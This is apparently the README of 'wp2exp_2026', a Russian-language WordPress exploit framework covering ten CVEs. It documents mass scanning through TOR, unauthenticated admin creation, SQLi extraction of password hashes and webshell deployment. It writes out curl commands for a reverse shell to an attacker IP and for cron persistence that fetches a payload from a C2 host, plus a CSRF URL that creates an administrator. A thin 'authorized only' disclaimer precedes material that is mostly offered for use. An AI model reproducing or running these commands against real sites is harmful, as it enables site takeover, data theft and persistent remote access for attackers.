
WordPress All-in-One Exploit Framework — детектор, сканер, энумератор, эксплойт, эскалация привилегий. 10 CVE из волны 2026-08, включая CVE-2026-63030 (wp2shell).
Универсальный эксплоит-фреймворк для WordPress — Детектор · Сканер · Энумератор · Эксплоит · Эскалация
wp2exp_2026 — это переименованный, проверенный в бою преемник фреймворка wp2shell. Он объединяет исходную цепочку проверки/эксплуатации wp2shell, три публичных PoC-кита для CVE-2026-63030 (Ch4120N, shinthink, SentinelX) и августовскую волну CVE WordPress 2026 года, собранную из NVD / GitHub Advisories / CISA KEV через TOR-конвейер darkweb-intel, — в один скрипт, который ведёт цель от пассивного снятия отпечатков до проверенного веб-шелла.
┌──────────┐ ┌──────────┐ ┌───────────┐ ┌───────────┐ ┌──────────┐
│ DETECTOR │ -> │ SCANNER │ -> │ ENUMERATOR│ -> │ EXPLOIT │ -> │ ESCALATE │
│ 10 CVEs │ │ version/ │ │ users/ │ │ admin │ │ webshell │
│ probes │ │ WAF/XMLRPC│ │ plugins │ │ create/ │ │ rev shell │
└──────────┘ └──────────┘ └───────────┘ └───────────┘ └──────────┘
⚠️ ТОЛЬКО АВТОРИЗОВАННОЕ ТЕСТИРОВАНИЕ. Режим
scanне является разрушительным. Режимы эксплуатации явно требуют--mode. Вы несёте ответственность за наличие письменного разрешения на каждую цель.
# Clone
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026
# Dependencies: Python 3.8+ standard library only.
# Optional: PySocks for SOCKS5/TOR proxying
pip install pysocks
Никаких API-ключей, баз данных и компиляции.
# 1. Safe scan of one target (detector + scanner + enumerator)
python3 wp2exp_2026.py https://target.com
# 2. Same scan, but fire exploitation (admin creation + content dumps)
python3 wp2exp_2026.py https://target.com --mode exploit
# 3. Full chain to a verified webshell
python3 wp2exp_2026.py https://target.com --mode shell
# 4. Mass scan a file of targets
python3 wp2exp_2026.py -f targets.txt --threads 10
# 5. Anonymous scanning through TOR
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050
usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
[--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
[--timeout N] [--threads N] [--json] [-o OUTPUT]
scan — Детектор + Сканер + Энумератор (безопасный)Неразрушающий. Используйте его первым на любой цели.
Что он делает по порядку:
Пример:
python3 wp2exp_2026.py https://example.com
# outputs: version, WAF, XMLRPC, users, plugin versions, per-CVE verdicts
exploit — Скан + ЭксплуатацияВсё из scan, плюс:
Пример:
# Scan + create admin + dump 200 post IDs through Mapster
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200
--verify — Самопроверка окруженияПроверяет среду выполнения перед любым сканированием: Python ≥3.8, наличие PySocks (SOCKS5/TOR), доступность прокси (если задан --proxy), целостность матрицы CVE, корректность парсера версий.
python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050
shell — Полная цепочка до веб-шеллаВсё из exploit, плюс эскалация: если создание администратора удалось, скрипт:
wp-login.php (хранилище cookie)_wpnonce редактора темы + активную тему → записывает веб-шелл через admin-ajax.php?action=edit-theme-plugin-fileupdate.php?action=upload-plugin, активирует егоid через шелл — выводит живой результат командыТипы веб-шеллов (--shell):
Пример:
python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...
Ручное использование шелла после успешного запуска:
# Command execution (mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'
# Full shell — file upload
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'
# Full shell — reverse shell (listener: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'
# Full shell — cron persistence (curl piped to sh from your C2)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'
DELETE /wp-json/formgent/v1/responses/attachments?file_token=<base64("formgent/YYYY/MM/FILE")> — маршрут зарегистрирован без middleware аутентификации; токен — это сырой base64 относительного пути (можно подделать). Исправленные версии используют подписанный UploadFileToken.reauth_for_authorize сопоставлял /mcp/v1/oauth/authorize с помощью проверки подстроки по REQUEST_URI, включая строку запроса. Добавьте &x=/mcp/v1/oauth/authorize к любому REST-запросу, чтобы восстановить полную идентичность пользователя из cookie. Классический CSRF: администратор, перешедший по сфабрикованному URL, создаёт учётную запись атакующего.
https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
wpcf7_verify_nonce => __return_true → отправкам CF7 nonce не нужен; отправьте файловое поле, содержащее ../../../../wp-config.php, и действие интеграции (webhook/email) вытащит файл.Скрипт создан на основе разведданных, собранных TOR-конвейером darkweb-intel (сбор свежих CVE из NVD, GitHub Advisories, CISA KEV), и поддерживает анонимное сканирование:
# Scan through TOR (requires tor daemon on 9050)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5
# Verify your exit node
# (script's Http layer reports IsTor:true when routing through TOR)
Проверенное поведение: работа с прокси подтверждена через check.torproject.org/api/ip → {"IsTor":true} через выходной узел 192.42.116.45.
# Console: colored per-stage verdicts + final summary table
# JSON report to file (always includes raw responses for evidence)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json
# Full JSON to stdout for piping into jq / your own tooling
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'
Структура отчёта:
{
"target": "https://example.com",
"version": "7.0.1",
"waf": "Cloudflare",
"xmlrpc": true,
"users": [{"id": 1, "name": "admin", "slug": "admin"}],
"plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
"core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
"cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
"exploitation": {
"wp2shell_admin": {"success": true, "username": "...", "password": "..."},
"shell": {"success": true, "shell_url": "...", "key": "..."},
"mapster_posts": [...]
}
}
Проверено 2026-08-04 в эмулированной уязвимой лаборатории WordPress — QA-батарея: 32/32 проверки ПРОЙДЕНЫ (все режимы, чистота JSON, несколько целей, нормализация голого хоста, утечка черновиков/приватных записей Mapster, извлечение версии БД и хеша администратора через SQLi, полная цепочка шелла):
wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45
exploit (--sqli-info)--verifydarkweb_intel.pyPR приветствуются. По умолчанию сохраняйте нагрузку неразрушающей.
MIT. Только авторизованные работы. Никогда не запускайте --mode exploit / --mode shell против ресурсов, которыми вы не владеете или на тестирование которых у вас нет письменного разрешения. Авторы не несут ответственности за неправомерное использование.
| Аргумент | По умолчанию | Описание |
|---|
targets | — | Один или несколько базовых URL (https://site.com или просто site.com) |
-f, --file | — | Файл с одной целью в строке (комментарии # допускаются) |
--mode | scan | scan = только обнаружение · exploit = скан + эксплуатация · shell = скан + эксплоит + веб-шелл |
--shell | mini | Тип веб-шелла: mini (однострочное выполнение команд) или full (управление файлами / загрузка / реверс-шелл / постоянство через cron) |
--mapster-dump | 0 | Дамп N ID записей через CVE-2026-14839 (0 = отключено) |
--sqli-info | off | Извлечение db_version / siteurl / хеша пароля администратора / префикса таблиц через SQLi (CVE-2026-60137) |
--verify | off | Самопроверка окружения (python, PySocks, доступность прокси, матрица CVE, парсер версий) и выход |
--proxy | — | HTTP-прокси или SOCKS5: socks5h://127.0.0.1:9050 (TOR) |
--timeout | 15 | Таймаут на запрос (секунды) |
--threads | 5 | Параллельные цели (используется только с несколькими целями / -f) |
--json | — | Вывод машиночитаемого JSON-отчёта в stdout |
-o, --output | — | Запись полного JSON-отчёта в файл |
| # | Этап | Проверки |
|---|
| 1 | Снятие отпечатка | Версия WordPress через генератор /feed/, /readme.html, meta-генератор, генератор REST API — отмечает, если версия попадает в уязвимый диапазон wp2shell (6.9.0–6.9.4, 7.0.0–7.0.1) |
| 2 | Обнаружение WAF | Cloudflare / Sucuri / Akamai / AWS WAF / Imperva / Wordfence / F5 по заголовкам + маркерам тела ответа |
| 3 | XMLRPC | проба system.listMethods → отмечает поверхность для мультиколл-брутфорса и pingback SSRF |
| 4 | Перечисление пользователей | REST /wp-json/wp/v2/users + запасной ?rest_route= + архив авторов (?author=N) |
| 5 | Перечисление плагинов | Stable tag из readme.txt для всех 8 отслеживаемых плагинов — отмечает уязвимые версии по матрице CVE |
| 6 | проба wp2shell | Безопасная проба batch-desync (CVE-2026-63030) — отправляет повреждённый праймер + безобидный DELETE на несуществующую категорию; ищет маркеры перехвата обработчика (parse_path_failed, block_cannot_read, rest_batch_not_allowed) |
| 7 | Проверки CVE | Живые поведенческие пробы + проверки версий для всех 10 CVE (см. таблицу ниже) |
| Эксплоит | Условие | Что происходит |
|---|
| Создание администратора без авторизации | wp2shell VULNERABLE | Попытка 1: payload с подменой batch-маршрута отправляет POST /wp/v2/users с roles:["administrator"]. Попытка 2 (запасная): цепочка SQLi отравления oEmbed-кэша (shinthink) — union-инъекция customize_changeset для перехвата oEmbed-кэша + создания админа. При успехе выводит username / password |
| Извлечение информации через SQLi | --sqli-info | Извлечение на основе ошибок/union (CVE-2026-60137): db_version, siteurl, хеш user_pass первого администратора, префикс таблиц |
| Дамп контента Mapster | --mapster-dump N | Перебирает ID записей 1..N через /wp-json/mapster-wp-maps/feature?id=N, собирая заголовки черновиков / ожидающих / приватных / удалённых записей + полный контент (CVE-2026-14839) |
| Тип | Возможности |
|---|
mini | ?k=KEY&c=COMMAND → вывод команды в виде обычного текста |
full | a=cmd выполнение · a=upload запись файла (b64) · a=download чтение файла · a=rev реверс-шелл (h=HOST&p=PORT) · a=persist постоянство через crontab (u=URL) · по умолчанию phpinfo() |
| CVE | Цель | CVSS | Класс | Обнаружение | Эксплуатация |
|---|
| CVE-2026-63030 | WP Core 6.9.0–6.9.4, 7.0.0–7.0.1 | 9.8 | Путаница batch-маршрутов REST → RCE | ✅ проба маркеров desync | ✅ создание админа + шелл |
| CVE-2026-60137 | WP Core (тот же диапазон) | 5.9 | author__not_in SQLi | ✅ версия + маркер | ✅ через цепочку 63030 |
| CVE-2026-3141 | FormGent ≤ 1.9.2 | 9.1 | Неавторизованное удаление произвольного файла | ✅ живая DELETE-проба | ✅ подделываемый b64 file_token |
| CVE-2026-13596 | Participants DB < 2.7.8.4 | 9.1 | Неавторизованный SQLi (поиск по списку) | ✅ проба утечки ошибок | ⚠️ вручную (blind) |
| CVE-2026-15414 | Subscriptions for WooCommerce ≤ 2.0.0 | 8.8 | Повышение привилегий _wps_plan_user_role | ✅ версия | ✅ документированная цепочка |
| CVE-2026-15988 | AI Engine ≤ 3.6.5 | 8.8 | CSRF → создание администратора | ✅ проба namespace | ✅ генератор PoC-URL |
| CVE-2026-15450 | Nex Forms Lite ≤ 9.2.3 | 8.1 | Авторизованное удаление произвольного файла | ✅ версия | ✅ документированная цепочка |
| CVE-2026-15006 | Bit Integrations ≤ 2.9.0 | 7.5 | Неавторизованный обход каталога (обход nonce CF7) | ✅ версия | ✅ документированная цепочка |
| CVE-2026-14839 | Mapster WP Maps < 1.24.0 | 7.5 | Неавторизованный дамп приватных/черновых записей | ✅ живая проба | ✅ --mapster-dump |
| CVE-2026-15052 | MailChimp Subscribe ≤ 4.3.3 | 7.2 | Неавторизованный сохранённый XSS | ✅ версия | ✅ документированная цепочка |
insert_record() сохраняет location файла, на которую может влиять атакующий, затем delete_file() вызывает unlink($file) без проверки realpath()/списка разрешённых.save_meta_boxes() сохраняет _wps_plan_user_role из $_POST; применяются только sanitize_key() + is_role() — обе принимают administrator.